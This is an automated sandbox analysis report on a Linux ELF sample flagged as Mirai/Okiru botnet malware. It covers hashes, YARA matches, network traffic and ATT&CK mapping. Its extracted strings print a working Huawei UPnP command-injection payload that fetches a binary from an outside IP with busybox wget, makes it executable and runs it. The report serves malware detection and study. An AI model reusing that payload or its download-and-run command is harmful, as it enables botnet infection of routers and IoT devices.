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Linux Analysis Report
wn8pgKNArU.elf

Overview

General Information

Sample name:	wn8pgKNArU.elf renamed because original name is a hash value
Original sample name:	5e551c4b56b047def8a6b77c8bb8a8d7.elf
Analysis ID:	1428712
MD5:	5e551c4b56b047def8a6b77c8bb8a8d7
SHA1:	37f4c4d9894fcc0fdb6fe2ec8c017b9358492ec0
SHA256:	e06905604998c5494ca7e01761a8823093a7b4a005c4f2bb19d58f4254bb1158
Tags:	32elfgafgytmips
Infos:

Detection

Mirai, Okiru

Score:	88
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected Mirai

Yara detected Okiru

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

Analysis Advice

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

Exit code information suggests that the sample terminated abnormally, try to lookup the sample's target architecture.

All HTTP servers contacted by the sample do not answer. The sample is likely an old dropper which does no longer work.

Non-zero exit code suggests an error during the execution. Lookup the error code for hints.

Static ELF header machine description suggests that the sample might only run correctly on MIPS or ARM architectures.

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1428712
Start date and time:	2024-04-19 13:06:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 39s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	wn8pgKNArU.elf renamed because original name is a hash value
Original Sample Name:	5e551c4b56b047def8a6b77c8bb8a8d7.elf
Detection:	MAL
Classification:	mal88.troj.linELF@0/0@0/0

Runtime Messages

Command:	/tmp/wn8pgKNArU.elf
PID:	6241
Exit Code:	139
Exit Code Info:	SIGSEGV (11) Segmentation fault invalid memory reference
Killed:	False
Standard Output:
Standard Error:	qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Process Tree

system is lnxubuntu20

wn8pgKNArU.elf (PID: 6241, Parent: 6163, MD5: 0d6f61f82cf2f781c6eb0661071d42d9) Arguments: /tmp/wn8pgKNArU.elf

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
wn8pgKNArU.elf	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
wn8pgKNArU.elf	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
wn8pgKNArU.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
wn8pgKNArU.elf	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x2933c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x29350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x29364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x29378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2938c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x293a0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x293b4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x293c8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x293dc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x293f0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x29404:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x29418:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2942c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x29440:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x29454:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x29468:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2947c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x29490:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x294a4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x294b8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x294cc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F

Memory Dumps

Source	Rule	Description	Author	Strings
6241.1.00007f5c9c400000.00007f5c9c42d000.r-x.sdmp	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
6241.1.00007f5c9c400000.00007f5c9c42d000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
6241.1.00007f5c9c400000.00007f5c9c42d000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6241.1.00007f5c9c400000.00007f5c9c42d000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x2933c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x29350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x29364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x29378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2938c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x293a0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x293b4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x293c8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x293dc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x293f0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x29404:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x29418:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2942c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x29440:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x29454:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x29468:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2947c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x29490:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x294a4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x294b8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x294cc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: wn8pgKNArU.elf PID: 6241	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
Process Memory Space: wn8pgKNArU.elf PID: 6241	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: wn8pgKNArU.elf PID: 6241	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x6ff:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x713:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x727:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x73b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x74f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x763:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x777:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x78b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x79f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x7b3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x7c7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x7db:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x7ef:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x803:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x817:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x82b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x83f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x853:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x867:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x87b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x88f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Click to see the 2 entries

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: wn8pgKNArU.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: wn8pgKNArU.elf	ReversingLabs: Detection: 60%
Source: wn8pgKNArU.elf	Virustotal: Detection: 48%			Perma Link

Source: wn8pgKNArU.elf

String: /proc/proc/%d/cmdlinewgetcurlbusybox/bin/busyboxechocatnanotfptkillallpkilltopxargspgrepabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ3f

Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42

Source: wn8pgKNArU.elf	String found in binary or memory: http://103.174.73.190/tajma.mpsl;
Source: wn8pgKNArU.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: wn8pgKNArU.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: wn8pgKNArU.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6241.1.00007f5c9c400000.00007f5c9c42d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: wn8pgKNArU.elf PID: 6241, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.174.73.190 -l /tmp/linuxxx -r /tajma.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.tajma)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: /bin/busybox/
Source: Initial sample	String containing 'busybox' found: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: HTTP/1.1 200 OKskyljneegay.armskyljneegay.arm5skyljneegay.arm6skyljneegay.arm7skyljneegay.mipsskyljneegay.mpslskyljneegay.x86_64skyljneegay.sh4<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.174.73.190 -l /tmp/linuxxx -r /tajma.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.tajma)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Source: Initial sample	String containing 'busybox' found: Content-Length: /proc//proc/%s/exe/proc/self/exe/var/Challenge//app/hi3511/gmDVRibox/usr/dvr_main _8182T_1108/mnt/mtd/app/gui/var/Kylin/l0 c/udevd/anko-app/ankosample _8182T_1104/var/tmp/sonia/hicorestm_hi3511_dvr/bin/busybox//usr/lib/systemd/systemd//usr/libexec/openssh/sftp-server/usr/shellmnt/sys//bin/boot/media/srv/var/run/sbin/lib/etc/dev/home/Davinci/telnetsshwatchdog/var/spool//var/Sofia/sshd/usr/compress/bin//compress/bin/compress/usr/bashtelnetddropbearropbearencodercundi/var/cundi//var/Condi/system/root/dvr_gui//root/dvr_app//var/tmp//anko-app//data/local/tmp//usr/lib/systemd//system/system/bin//gm/bin//mnt//home/process//home/helper/home/davinci/z/bin//mnt/mtd//tmp/sqfs//usr/libexec//usr/sbin//z/zbin//usr/bin/usr/lib/openssh/sftp-server//opt/POST /goform/set_LimitClient_cfg HTTP/1.1
Source: Initial sample	String containing 'busybox' found: /proc/proc/%d/cmdlinewgetcurlbusybox/bin/busyboxechocatnanotfptkillallpkilltopxargspgrepabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ3f

Source: ELF static info symbol of initial sample

.symtab present: no

Source: wn8pgKNArU.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6241.1.00007f5c9c400000.00007f5c9c42d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: wn8pgKNArU.elf PID: 6241, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16

Source: classification engine

Classification label: mal88.troj.linELF@0/0@0/0

Source: /tmp/wn8pgKNArU.elf (PID: 6241)

Queries kernel information via 'uname':

Jump to behavior

Source: wn8pgKNArU.elf, 6241.1.00007ffe9100b000.00007ffe9102c000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-mipsel/tmp/wn8pgKNArU.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/wn8pgKNArU.elf
Source: wn8pgKNArU.elf, 6241.1.000055ae0b817000.000055ae0b89e000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/mipsel
Source: wn8pgKNArU.elf, 6241.1.000055ae0b817000.000055ae0b89e000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/mipsel
Source: wn8pgKNArU.elf, 6241.1.00007ffe9100b000.00007ffe9102c000.rw-.sdmp	Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped
Source: wn8pgKNArU.elf, 6241.1.00007ffe9100b000.00007ffe9102c000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-mipsel

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: wn8pgKNArU.elf, type: SAMPLE
Source: Yara match	File source: 6241.1.00007f5c9c400000.00007f5c9c42d000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: wn8pgKNArU.elf PID: 6241, type: MEMORYSTR

Yara detected Okiru

Source: Yara match	File source: wn8pgKNArU.elf, type: SAMPLE
Source: Yara match	File source: 6241.1.00007f5c9c400000.00007f5c9c42d000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: wn8pgKNArU.elf PID: 6241, type: MEMORYSTR

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: wn8pgKNArU.elf, type: SAMPLE
Source: Yara match	File source: 6241.1.00007f5c9c400000.00007f5c9c42d000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: wn8pgKNArU.elf PID: 6241, type: MEMORYSTR

Yara detected Okiru

Source: Yara match	File source: wn8pgKNArU.elf, type: SAMPLE
Source: Yara match	File source: 6241.1.00007f5c9c400000.00007f5c9c42d000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: wn8pgKNArU.elf PID: 6241, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
wn8pgKNArU.elf	61%	ReversingLabs	Linux.Trojan.Mirai
wn8pgKNArU.elf	48%	Virustotal		Browse
wn8pgKNArU.elf	100%	Avira	EXP/ELF.Mirai.Z.A

Name	Source	Malicious	Reputation
http://103.174.73.190/tajma.mpsl;	wn8pgKNArU.elf	false	unknown
http://schemas.xmlsoap.org/soap/encoding/	wn8pgKNArU.elf	false	high
http://schemas.xmlsoap.org/soap/envelope/	wn8pgKNArU.elf	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
109.202.202.202	unknown	Switzerland	13030	INIT7CH	false
91.189.91.43	unknown	United Kingdom	41231	CANONICAL-ASGB	false
91.189.91.42	unknown	United Kingdom	41231	CANONICAL-ASGB	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
109.202.202.202	JX1KTFsitM.elf	Get hash	malicious	Okiru	Browse
	qlgIEbAy2D.elf	Get hash	malicious	Mirai, Moobot, Okiru	Browse
	qbmHR5ZIJL.elf	Get hash	malicious	Mirai, Moobot, Okiru	Browse
	FZqYclxRiu.elf	Get hash	malicious	Mirai, Okiru	Browse
	qlt52dfogC.elf	Get hash	malicious	Mirai, Okiru	Browse
	46t2vW6nO9.elf	Get hash	malicious	Mirai, Okiru	Browse
	l1uxT537eS.elf	Get hash	malicious	Unknown	Browse
	4wngRroxli.elf	Get hash	malicious	Mirai	Browse
	XioVUcbE3G.elf	Get hash	malicious	Unknown	Browse
	85x5rW00VC.elf	Get hash	malicious	Gafgyt	Browse
91.189.91.43	JX1KTFsitM.elf	Get hash	malicious	Okiru	Browse
	qlgIEbAy2D.elf	Get hash	malicious	Mirai, Moobot, Okiru	Browse
	qbmHR5ZIJL.elf	Get hash	malicious	Mirai, Moobot, Okiru	Browse
	qlt52dfogC.elf	Get hash	malicious	Mirai, Okiru	Browse
	46t2vW6nO9.elf	Get hash	malicious	Mirai, Okiru	Browse
	l1uxT537eS.elf	Get hash	malicious	Unknown	Browse
	4wngRroxli.elf	Get hash	malicious	Mirai	Browse
	XioVUcbE3G.elf	Get hash	malicious	Unknown	Browse
	85x5rW00VC.elf	Get hash	malicious	Gafgyt	Browse
	P6VjwulCEv.elf	Get hash	malicious	Gafgyt	Browse
91.189.91.42	JX1KTFsitM.elf	Get hash	malicious	Okiru	Browse
	qlgIEbAy2D.elf	Get hash	malicious	Mirai, Moobot, Okiru	Browse
	qbmHR5ZIJL.elf	Get hash	malicious	Mirai, Moobot, Okiru	Browse
	FZqYclxRiu.elf	Get hash	malicious	Mirai, Okiru	Browse
	qlt52dfogC.elf	Get hash	malicious	Mirai, Okiru	Browse
	46t2vW6nO9.elf	Get hash	malicious	Mirai, Okiru	Browse
	l1uxT537eS.elf	Get hash	malicious	Unknown	Browse
	4wngRroxli.elf	Get hash	malicious	Mirai	Browse
	XioVUcbE3G.elf	Get hash	malicious	Unknown	Browse
	85x5rW00VC.elf	Get hash	malicious	Gafgyt	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CANONICAL-ASGB	JX1KTFsitM.elf	Get hash	malicious	Okiru	Browse	91.189.91.42
	qlgIEbAy2D.elf	Get hash	malicious	Mirai, Moobot, Okiru	Browse	91.189.91.42
	3M2y5KkOrL.elf	Get hash	malicious	Mirai, Okiru	Browse	185.125.190.26
	qbmHR5ZIJL.elf	Get hash	malicious	Mirai, Moobot, Okiru	Browse	91.189.91.42
	qIEANK2huJ.elf	Get hash	malicious	Mirai, Moobot, Okiru	Browse	185.125.190.26
	NlF293hgXW.elf	Get hash	malicious	Mirai, Okiru	Browse	185.125.190.26
	FZqYclxRiu.elf	Get hash	malicious	Mirai, Okiru	Browse	91.189.91.42
	PN9QHDmpS1.elf	Get hash	malicious	Mirai, Okiru	Browse	185.125.190.26
	eGjHpgUwlt.elf	Get hash	malicious	Mirai, Okiru	Browse	185.125.190.26
	qlt52dfogC.elf	Get hash	malicious	Mirai, Okiru	Browse	91.189.91.42
CANONICAL-ASGB	JX1KTFsitM.elf	Get hash	malicious	Okiru	Browse	91.189.91.42
	qlgIEbAy2D.elf	Get hash	malicious	Mirai, Moobot, Okiru	Browse	91.189.91.42
	3M2y5KkOrL.elf	Get hash	malicious	Mirai, Okiru	Browse	185.125.190.26
	qbmHR5ZIJL.elf	Get hash	malicious	Mirai, Moobot, Okiru	Browse	91.189.91.42
	qIEANK2huJ.elf	Get hash	malicious	Mirai, Moobot, Okiru	Browse	185.125.190.26
	NlF293hgXW.elf	Get hash	malicious	Mirai, Okiru	Browse	185.125.190.26
	FZqYclxRiu.elf	Get hash	malicious	Mirai, Okiru	Browse	91.189.91.42
	PN9QHDmpS1.elf	Get hash	malicious	Mirai, Okiru	Browse	185.125.190.26
	eGjHpgUwlt.elf	Get hash	malicious	Mirai, Okiru	Browse	185.125.190.26
	qlt52dfogC.elf	Get hash	malicious	Mirai, Okiru	Browse	91.189.91.42
INIT7CH	JX1KTFsitM.elf	Get hash	malicious	Okiru	Browse	109.202.202.202
